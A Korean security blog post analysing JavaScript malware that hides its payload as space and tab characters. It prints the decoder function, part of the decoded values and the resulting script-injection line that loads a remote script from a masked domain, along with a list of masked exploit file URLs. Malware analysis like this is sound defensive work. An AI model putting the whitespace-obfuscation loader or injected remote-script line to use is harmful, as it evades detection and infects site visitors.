본문 바로가기
IT 보안소식

Space(빈칸)와 Horizontal Tab(탭)를 이용한 Hide JavaScript Malware !!

by 잡다한 처리 2012. 1. 1.
반응형


후...이제 별 기술들이 다 동원되는구나..!!

이번에 새롭게(?) 확인 된 JavaScript 악성파일이 확인 되었다.
이 파일의 특징은 악의적인 Code가 보이지 않는다는 점이다.
말 그대로 Hide JavaScript Malware !!! 

이 방식은 2008년 빌리 호프만(Billy Hoffman : 웹 보안 연구기업 SPI Dynamics 연구자)이 2008 BlackHat 에서 발표 한 자료 중
"Circumventing Automated JavaScript Analysis Tools" 에 나오는 아이디어 방식이였다.




위의 내용을 요약하면, Tab 과 Space 를 2진수로 표현하여 다시 Ascii로 변환하면 자바스크립트 분석 툴을 우회할 수 있다는 뜻이다.

그런데 실제 이런일이 벌어졌다 ㅠ.ㅠ 
어떤 개나리 같은 넘이...만들었다 ㅋㅋㅋㅋㅋㅋㅋ

아래의 코드를 보면, 중간에 빈공간이 보인다!!
암것도 안보이지만, 실제로는 아래와 같이 있다.


HEX값으로 보니 두가지의 값이 보인다. (아~ 아예 빈공간은 아니구나!!)
0x20 = HT (Horizontal Tab)
0x09 = SP (공백: Space)




그렇다면 이놈들을 변환시키는 코드(Code)가 있을것이다!! 라고 생각 후 다시 코드를 확인했다.
그랬더니 이런 코드가 눈에 보였다.

function RefreshStaticMenu0(s)
 {
   var r = new Array();
   var curr = 0;
   while(s.charAt(curr) != '\n') // Tap 0x20
   {
     var tmp = 0;
     for (var i=6; i>=0 ; i-- )
     {
       if (s.charAt(curr) == ' ') // Space 0x09
       {
         tmp = tmp | (Math.pow(2,i));
       }
       curr++;
     }
     r.push(String.fromCharCode(tmp));
   }

위의 코드를 보면, 변환 된 모든값은 tmp 변수에 담긴다는 것을 알 수 있다.
그래서 tmp 값을 따로 뽑았다.  그랬더니 10진수의 값이 나왔다. 았사!!

"100,111,99,117,109,101, {중간생략} ,101,40,117,110,101,115,99,97,112,101,40,34,37,51,67,115,99,114,105,112,116,
37,50,48,115,114,99,37,{중간생략},37,50,70,99,115,115,37,50,70,97,99,37,50,70,99,99,37,50,69,106,115,37,51,69,{중간생략},
69,34,41,41,59"

위의 값은 document.write(unescape("<script src=http://*****.coM/css/ac/cc.js></script>")); 로 변환 된다.

그리고 아래처럼 여러가지 취약점을 가진 악성 스크립트들과 연동된다.

http://*****.com/css/ac/cc.js
http://*****.com/css/ac/board.html
http://*****.com/css/ac/ac1230.swf
http://*****.com/css/ac/vvv.html
http://*****.com/css/ac/hhh.html
http://*****.com/css/ac/s.exe
http://*****.com/css/ac/fff.html
http://*****.com/css/ac/h6.html
http://*****.com/css/ac/fff.html
http://*****.com/css/ac/h8.html
http://*****.com/css/ac/Applet.html
http://*****.com/css/ac/Applets.jar
http://*****.com/css/ac/cc.html
http://*****.com/css/ac/e.avi



바이러스 토탈 결과, 멋지구나 nProtect !! 혼자 잡고 있구나 ㅋㅋ



이처럼 점점 악성 스크립트는 진화하고 있다~!!
이에 보안프로그램도 진화해야 하지만, 그게 말처럼 쉽지는 않다 ㅠ_ㅠ
좀 더 열심히 스크립트를 공부해서 이놈의 자식들을 갈아 마셔 주겠다!!


댓글